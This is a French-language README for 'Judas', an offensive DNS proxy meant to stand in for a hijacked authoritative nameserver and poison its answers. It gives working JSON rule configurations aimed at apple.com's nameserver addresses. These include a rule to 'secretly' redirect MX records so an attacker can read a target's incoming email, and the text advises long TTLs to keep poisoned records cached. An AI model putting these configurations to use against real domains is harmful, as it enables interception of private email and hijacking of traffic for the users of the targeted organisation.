
Attaques par empoisonnement DNS de serveur de noms simplifiées
,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
Nameserver DNS poisoning attacks made easy
Un serveur proxy DNS conçu pour être déployé à la place d'un serveur de noms compromis afin d'effectuer une exploitation ciblée. Judas fonctionne en redirigeant toutes les requêtes DNS vers les serveurs de noms légitimes d'un domaine. La magie opère grâce aux configurations de règles de Judas qui vous permettent de modifier les réponses DNS en fonction de l'IP source ou du type de requête DNS. Cela permet à un attaquant de configurer un serveur DNS malveillant pour, par exemple, rediriger sélectivement les e-mails entrants provenant de plages d'IP spécifiées (via des enregistrements MX modifiés), définir des TTL extrêmement longs pour maintenir les enregistrements empoisonnés dans le cache, et bien plus encore.
Pour plus d'informations sur la prise de contrôle de serveurs de noms et le détournement DNS, consultez l'article de blog suivant intitulé "Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target".
Voici un exemple de configuration de Judas pour un scénario où un attaquant a compromis/pris le contrôle d'un des serveurs de noms faisant autorité d'Apple (pour apple.com) :
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
Les objectifs des valeurs de configuration ci-dessus sont les suivants :
version : le format de version du fichier de configuration (pour l'instant toujours 1.0.0).port : le port sur lequel Judas doit s'exécuter.dns_query_timeout : le temps d'attente en millisecondes avant d'abandonner une réponse du serveur de noms cible en amont.target_nameservers : les serveurs de noms légitimes du domaine cible ; toutes les requêtes DNS seront envoyées ici par Judas au nom de tous les clients demandeurs.rules : une liste de règles avec des modifications à appliquer à la réponse DNS si elles correspondent.
name : nom d'une règle donnée.query_type_matches : liste des types de requêtes à faire correspondre, comme CNAME, A, etc. Un joker (*) peut également être spécifié pour correspondre à n'importe quel type de requête.ip_range_matches : liste des plages IP à faire correspondre. Pour usurper sélectivement les réponses à une plage spécifique d'IP.Les règles de Judas comportent une spécification modifications qui est définie comme une liste de diverses modifications à apporter à la réponse DNS avant qu'elle ne soit renvoyée au client. Il est important que vous lisiez la documentation de node-dns pour comprendre la structure de la réponse DNS afin de pouvoir la modifier.
Un exemple de format de réponse DNS est le suivant :
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...trimmed for brevity...
(Pour plus d'informations sur la structure de données de réponse DNS, consultez cette documentation.)
Écrire une modification est très simple ; un exemple de règle avec modification est présenté ci-dessous :
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
La règle ci-dessus correspond à tout type de requête (grâce au joker (*)) et définit la valeur header.rcode de la réponse DNS à 0. Tout objet défini comme élément de modification est fusionné dans la réponse DNS, remplaçant la valeur initialement définie.
Un autre exemple est le suivant :
{
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
La règle ci-dessus correspond à toute requête MX provenant de 127.0.0.1. La réponse DNS est remplacée par un seul enregistrement MX pointant vers hacktheplace.localhost. Dans un contexte réel, cela permettrait de rediriger les e-mails entrants d'une IP spécifique afin de lire les courriels privés de la cible. De plus, un attaquant pourrait également choisir de modifier le TTL de la réponse pour le rendre très élevé, afin de conserver ses enregistrements malveillants dans le cache DNS des clients le plus longtemps possible.
La règle suivante correspond à l'adresse IP d'un client :
{
"name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Le champ ip_range_matches est défini comme un tableau de plages IP indiquant les plages cibles auxquelles appliquer la modification de réponse. L'omission de ce champ équivaut à un joker et correspondra à toutes les adresses IP des clients.
La règle suivante correspond à un type de requête MX et CNAME et applique une modification de réponse en conséquence :
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Le champ query_type_matches est défini comme un tableau de types de requêtes à faire correspondre. L'omission de ce champ équivaut à un joker et correspondra à tous les types de requêtes.
La règle suivante correspond à un code de réponse NXDOMAIN et applique une modification de réponse en conséquence :
{
"name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Le champ response_code_matches est défini comme un tableau de codes de réponse à faire correspondre. L'omission de ce champ équivaut à un joker et correspondra à tous les types de RCODE.
modifications : voir la section « Modifications » de ce README.